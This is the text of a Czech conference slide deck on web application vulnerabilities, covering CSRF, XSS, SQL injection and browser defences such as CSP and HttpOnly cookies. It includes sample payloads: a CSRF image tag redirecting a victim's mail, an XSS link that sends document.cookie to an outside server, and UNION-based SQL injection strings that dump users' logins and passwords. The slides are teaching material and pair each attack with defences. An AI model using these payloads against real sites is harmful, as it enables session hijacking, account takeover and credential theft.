Zranitelnosti webových aplikací Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz
Terminologie Zranitelnost (vulnerability) Slabina, která umožní utočníkovi snížit/obejít ochranu dat a informací Security bug je užší vnímání zranitelnosti; existují non-sw zranitelnosti (HW, zaměstnanci, ) Exploit V informatice program nebo sekvence příkazů, které využívají zranitelnosti a umožňují tak získat nějaký prospěch
Webové zranitelnosti XSS Cross-site scripting Využití důvěry uživatele v server CSRF Cross-site request forgery Využití důvěry serveru v software uživatele
Webové zranitelnosti HTTP header injection Využití vlastností HTTP protokolu v kombinaci s neošetřeným předávaným vstupem od uživatele v hlavičkách SQL injection Využití mezery v zabezpečení na úrovni databázové vrstvy aplikace
Svět webových zranitelností Proměnná CSS Flash CRLF RFI LFI SQLi FPD SQL injection CSRF XSS HTTP injection Same origin policy IE XSS filter NOSCRIPT Persistent Non- Persistent DOM based HTTP only cookies Content security policy
Praktická ukázka Roman Kümmel http://www.soom.cz
Praktická ukázka Zranitelná webová aplikace
Cross Site Request Forgery (CSRF) Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem Každý uživatel je na serveru identifikován Každý uživatel může provádět změny pouze ve svém vlastním účtu http://webmail.cz/remail.php?mail=user@seznam.cz
Cross Site Request Forgery (CSRF) Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka Cílem útočníka je přimět uživatele k jeho odeslání http://webmail.cz/remail.php?mail=atacker@hack.cz
Útok (CSRF) Nazdar Pepo, nechceš zítra zajít na pivo? Lojza <img src= http://webmail.cz/remail.php?mail=atacker@hack.cz > http://webmail.cz/remail.php?mail=atacker@hack.cz
Útok (CSRF) X
Obrana (CSRF) Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem Každý uživatel je na serveru identifikován Každý uživatel může provádět změny pouze ve svém vlastním účtu hash=a5dd78e remail.php?mail=user@seznam.cz&hash=a5dd78e
CSRF : XSS Zjištění hodnoty lístku pomocí XSS
Cross Site Scripting (XSS) Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy ) Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény Perzistentní (trvalé) Non-perzistentní (reflektované)
Non-perzistetní XSS Odeslání požadavku webovým vyhledávačem http://webmail.cz/search.php?query=slunce Odpověď vrácená prohlížečem Na váš dotaz slunce nebyl nalezen žádný výsledek
Non-perzistetní XSS Odeslání požadavku webovým vyhledávačem http://webmail.cz/search.php?query=<script>alert(1)</script> Zobrazení odpovědi vede ke spuštění skriptu Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek
Možné cíle útoku (XSS) Krádež cookies Přesměrování uživatelů na jiné webové stránky Defacement webové stránky Automatické odesílání CSRF požadavků Změna atributu action u přihlašovacích formulářů Odposlouchávání stisknutých kláves Průzkum vnitřní sítě Backdoor s obousměrnou komunikací Mnoho dalších variant útoku
Cookie stealing (XSS) Nazdar Pepo, nechceš zítra zajít na pivo? Lojza <a href= http://webmail.cz/search.php?query=%3cscript%3ei%3d document.createelement%28%22img%22%29%3b+i.src%3d%22 http%3a%2f%2fmyserver.cz%3fsavecook%3d%22%252b document.cookie%3b%3c%2fscript%3e >Super odkaz</a> <script> i=document.createelement("img"); i.src=http://myserver.cz?savecook=+document.cookie; </script>
Cookie stealing (XSS)
Obrana (XSS) Nahrazení nebezpečných znaků HTML entitami < ≶ > > " ' & & Nebezpečnost znaků záleží na kontextu v jakém jsou použity - <p>toto je tvůj vstup: <script>alert(1)</script></p> - <input type= text value= onfocus= alert(1) > Pozor na Javascript: a Data: URL v odkazech - <a href= javascript:alert(1) >odkaz</a>
Obrana (XSS) Uživatelský vstup kontrolovat podle bílých seznamů Co není povoleno, je zakázáno!
SQL injection Zmanipulování dotazu do databáze SELECT jablka FROM strom SELECT hrušky FROM obchod
SQL injection pepa pass123 PHP $sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')"; $res = mysql_query($sql); SQL SELECT * FROM users WHERE (login = 'pepa') and (heslo = 'pass123')
Útok SQL injection ' OR '1' = '1 pepa PHP $sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')"; $res = mysql_query($sql); SQL SELECT * FROM users WHERE (login = 'pepa') and (heslo = '' OR '1' = '1')
SQL injection PHP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser"; $res = mysql_query($sql); SQL SELECT * FROM messages WHERE idprijemce = 11614
Útok SQL injection PHP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser"; $res = mysql_query($sql); SQL SELECT * FROM messages WHERE idprijemce = -1 or 1=1
Útok SQL injection Zjištění počtu sloupců tabulky v původním dotazu Zjištění zobrazených polí iduser=-1 union all select 1,2,3,4 Zjištění názvu databáze iduser=-1 union all select 1,2,3,database() SELECT * FROM messages WHERE idprijemce = -1 order by 1 -- Zjištění názvů tabulek a sloupců iduser=-1 union all select 1,2,table_name,column_name from information_schema.columns where table_schema=database() Výpis obsahu tabulky USERS iduser=-1 union all select 1,nick,login,heslo from users--
Obrana proti SQL injection Kontrola vstupu Odstranění, zdvojení nebo escapování apostrofů Číselné hodnoty ošetřit typovou konverzí Výčtové vstupy kontrolovat na očekávané hodnoty Využití parametrizovaných SQL dotazů Využití uložených procedur
Injektáž skriptu na server Nezabezpečený upload Local File Inclusion (LFI) Remote File Inclusion (RFI)
(ne) bezpečný Internet
Pomocníci v zabezpečení Content Security Policy Same origin policy XSS filter v IE HTTPonly cookies
Content security policy Pravidla zaměřená na potlačení především XSS CSP umožňuje poskytovatelům definovat pravidla, kterými se prohlížeč řídí Pravidla se pro dokument v HTTP hlavičkách Možnost reportingu při porušení pravidel Browser bonzuje pomocí JSON, co se stalo Report-only mode (what-if scénáře) X-Content-Security-Policy: allow 'self'; img-src *; \ object-src media1.com media2.com *.cdn.com; \ script-src trustedscripts.example.com
Same origin policy Koncept známý od doby Netscape Navigator 2.0 Pravidla povolují plný přístupu skriptů k funkcím a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů) Jiný hostname (i www.seznam.cz vs seznam.cz) Jiný port (http://lide.cz vs http://lide.cz:81) Jiný protokol (https://email.cz vs https://email.cz) Nejasně definované pro file:, data:, Jiné policy např. pro skripty z jiných domén
IE XSS filter Vlastnost IE8, která ztěžuje tzv. reflected XSS Filtr je komponenta, která je zapojena do všech požadavků, které tečou skrze prohlížeč Snaží se detekovat XSS a případně neutralizovat
HTTPonly cookie Stále ve stádiu draftu IETF, nicméně široce podporované v prohlížečích Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session Často použita v kombinaci s omezením přenášení po zabezpečeném spojení Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Path=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly
Děkujeme za pozornost Vlastimil Pečínka Vlastimil.Pecinka@firma.seznam.cz Roman Kümmel ccuminn@soom.cz